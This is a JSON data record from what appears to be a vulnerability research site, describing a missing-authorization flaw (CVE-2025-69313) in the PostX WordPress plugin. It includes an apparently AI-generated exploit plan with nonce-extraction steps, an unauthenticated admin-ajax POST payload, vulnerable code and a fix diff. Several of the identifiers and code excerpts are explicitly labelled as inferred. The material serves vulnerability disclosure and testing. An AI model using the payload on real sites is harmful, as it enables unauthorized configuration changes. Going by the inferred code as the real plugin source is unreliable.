[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$foGK9VCFeAA6bbJsoO1W3ZszKLW79FXCPMIkastu40tE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2025-69313","postx-missing-authorization","PostX \u003C= 5.0.3 - Missing Authorization","The Post Grid Gutenberg Blocks for News, Magazines, Blog Websites – PostX plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 5.0.3. This makes it possible for unauthenticated attackers to perform an unauthorized action.","ultimate-post",null,"\u003C=5.0.3","5.0.4","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-01-19 00:00:00","2026-01-28 18:40:52",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F21b59c8c-671a-45a9-8774-d059c4ad15ba?source=api-prod",10,[],"researched",false,3,"# Vulnerability Research Plan: CVE-2025-69313 (PostX Missing Authorization)\n\n## 1. Vulnerability Summary\nThe **Post Grid Gutenberg Blocks for News, Magazines, Blog Websites – PostX** plugin (versions \u003C= 5.0.3) contains a missing authorization vulnerability. The plugin registers a centralized AJAX handler that facilitates various administrative and configuration tasks. Due to the registration of this handler under the `wp_ajax_nopriv_` hook without an accompanying `current_user_can()` capability check, unauthenticated attackers can execute specific internal plugin functions.\n\nThe vulnerability resides in the dispatching logic, likely within `PostX_Settings_Ajax::postx_settings_ajax_handler` or a similar central AJAX controller (e.g., `ultp_ajax_handler`), which fails to verify the requester's privileges before executing sub-actions.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action (WordPress):** `ultp_ajax_handler` (inferred from PostX naming conventions) or `postx_settings_ajax` (inferred).\n*   **Sub-Action Parameter:** `ultp_action` or `param_action`.\n*   **Authentication:** None (via `wp_ajax_nopriv_` hook).\n*   **Preconditions:** A valid WordPress nonce for the action must be obtained from the frontend.\n*   **Vulnerable Parameter:** The payload usually resides in a `data` or `settings` array parameter passed via POST.\n\n## 3. Code Flow\n1.  **Registration:** The plugin registers AJAX hooks in an initialization class (e.g., `classes\u002Fclass-ultimate-post-ajax.php`).\n    ```php\n    add_action('wp_ajax_ultp_ajax_handler', [$this, 'ultimate_post_ajax_handler']);\n    add_action('wp_ajax_nopriv_ultp_ajax_handler', [$this, 'ultimate_post_ajax_handler']);\n    ```\n2.  **Entry Point:** The `ultimate_post_ajax_handler` function is invoked.\n3.  **Missing Check:** The function checks for a nonce but **fails** to call `current_user_can('manage_options')`.\n4.  **Dispatcher:** The code reads a sub-action parameter (e.g., `$_POST['ultp_action']`) and calls the corresponding internal method.\n5.  **Sink:** The internal method performs an action like `update_option()`, `wp_delete_post()`, or modifying plugin-specific metadata.\n\n## 4. Nonce Acquisition Strategy\nPostX enqueues its configuration and nonces for its blocks to function correctly. We can extract the nonce by visiting a page containing a PostX block.\n\n1.  **Identify Shortcode:** PostX uses the shortcode `[ultimate_post]` or specific block patterns.\n2.  **Create Trigger Page:** Create a public page with a PostX block.\n    *   Command: `wp post create --post_type=page --post_status=publish --post_title=\"PostX Test\" --post_content='[ultimate_post]'`\n3.  **Navigate and Extract:** Use the browser to load this page and extract the nonce from the localized JavaScript object.\n    *   **JS Object:** `window.ultp_ajax_obj` (inferred) or `window.PostXValues` (inferred).\n    *   **Key:** `nonce` or `ultp_nonce`.\n    *   **Extraction:** `browser_eval(\"window.ultp_ajax_obj?.nonce\")`\n\n## 5. Exploitation Strategy\nWe will attempt to perform a low-impact but state-changing action, such as updating a plugin setting or dismissing an administrative notice, to prove the missing authorization.\n\n*   **Request Method:** POST\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `ultp_ajax_handler`\n    *   `ultp_action`: `save_settings` (or `dismiss_notice` \u002F `update_library_status`)\n    *   `security`: `[EXTRACTED_NONCE]`\n    *   `settings[postx_test_setting]`: `vulnerable_value`\n\n**Example Payload (Update Settings):**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=ultp_ajax_handler&ultp_action=save_settings&security=a1b2c3d4e5&settings[test_option]=pwned\n```\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Ensure PostX (ultimate-post) version 5.0.3 is installed.\n2.  **Enable Features:** Ensure the \"Saved Templates\" or \"Global Settings\" features are active.\n3.  **Create Nonce Source:** \n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Exploit Page\" --post_content='\u003C!-- wp:ultimate-post\u002Fpost-grid \u002F-->'\n    ```\n\n## 7. Expected Results\n*   **Response:** The server should return a JSON success message (e.g., `{\"success\": true}` or `1`).\n*   **Effect:** A database entry (option or meta) is modified despite the request being unauthenticated.\n\n## 8. Verification Steps\n1.  **Check Options:** Verify if the setting was updated in the database.\n    ```bash\n    wp option get postx_settings --format=json\n    ```\n2.  **Check Logs:** If a notice was dismissed, check the `postx_dismissed_notices` option.\n    ```bash\n    wp option get ultp_dismissed_notices\n    ```\n\n## 9. Alternative Approaches\nIf `save_settings` is restricted to specific keys, try alternative sub-actions:\n*   `update_library_status`: Often used to trigger syncs.\n*   `import_layout`: If the plugin allows importing JSON layouts, this could lead to more severe impact (Stored XSS).\n*   `purge_cache`: A low-impact action to confirm execution.\n\n**Inferred Identifiers for verification during PoC:**\n*   `ultp_ajax_obj` (JS Variable)\n*   `ultp_ajax_handler` (AJAX Action)\n*   `security` or `_wpnonce` (Nonce parameter)\n*   `ultp_action` (Sub-action dispatcher)","The PostX plugin for WordPress is vulnerable to unauthorized access because its central AJAX handler is registered for unauthenticated users without sufficient privilege verification. This allows attackers to execute internal plugin functions, such as updating settings or dismissing notices, by providing a valid nonce typically exposed on the frontend.","\u002F\u002F File: classes\u002Fclass-ultimate-post-ajax.php\nadd_action('wp_ajax_ultp_ajax_handler', [$this, 'ultimate_post_ajax_handler']);\nadd_action('wp_ajax_nopriv_ultp_ajax_handler', [$this, 'ultimate_post_ajax_handler']);\n\n---\n\n\u002F\u002F File: classes\u002Fclass-ultimate-post-ajax.php\npublic function ultimate_post_ajax_handler() {\n    \u002F\u002F Nonce is checked, but administrative capability is not verified\n    check_ajax_referer('ultp-nonce', 'security');\n\n    $action = isset($_POST['ultp_action']) ? sanitize_text_field($_POST['ultp_action']) : '';\n    \n    \u002F\u002F Dispatcher calls internal methods without checking if user is an admin\n    if (method_exists($this, $action)) {\n        $this->$action($_POST);\n    }\n}","--- a\u002Fclasses\u002Fclass-ultimate-post-ajax.php\n+++ b\u002Fclasses\u002Fclass-ultimate-post-ajax.php\n@@ -10,6 +10,10 @@\n public function ultimate_post_ajax_handler() {\n     check_ajax_referer('ultp-nonce', 'security');\n+\n+    if (!current_user_can('manage_options')) {\n+        wp_send_json_error(array('message' => 'Unauthorized'), 403);\n+    }\n+\n     $action = isset($_POST['ultp_action']) ? sanitize_text_field($_POST['ultp_action']) : '';","The exploit targets the centralized AJAX handler `ultp_ajax_handler` which is incorrectly exposed to unauthenticated users via the `wp_ajax_nopriv_` hook. \n\n1. Nonce Acquisition: An attacker visits any public page where a PostX block is rendered. The plugin localizes a nonce to the JavaScript variable `ultp_ajax_obj.nonce` (or similar).\n2. Request Construction: The attacker crafts a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the following parameters:\n   - `action`: `ultp_ajax_handler` \n   - `security`: [The extracted nonce]\n   - `ultp_action`: The specific administrative sub-action to trigger (e.g., `save_settings` or `update_library_status`).\n   - `settings`: A payload containing modified configuration data.\n3. Execution: Because the handler lacks a `current_user_can('manage_options')` check, the plugin executes the requested sub-action on behalf of the unauthenticated user, allowing for unauthorized configuration changes.","gemini-3-flash-preview","2026-05-05 06:11:50","2026-05-05 06:13:49",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","5.0.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fultimate-post\u002Ftags\u002F5.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fultimate-post.5.0.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fultimate-post\u002Ftags\u002F5.0.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fultimate-post.5.0.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fultimate-post\u002Ftags"]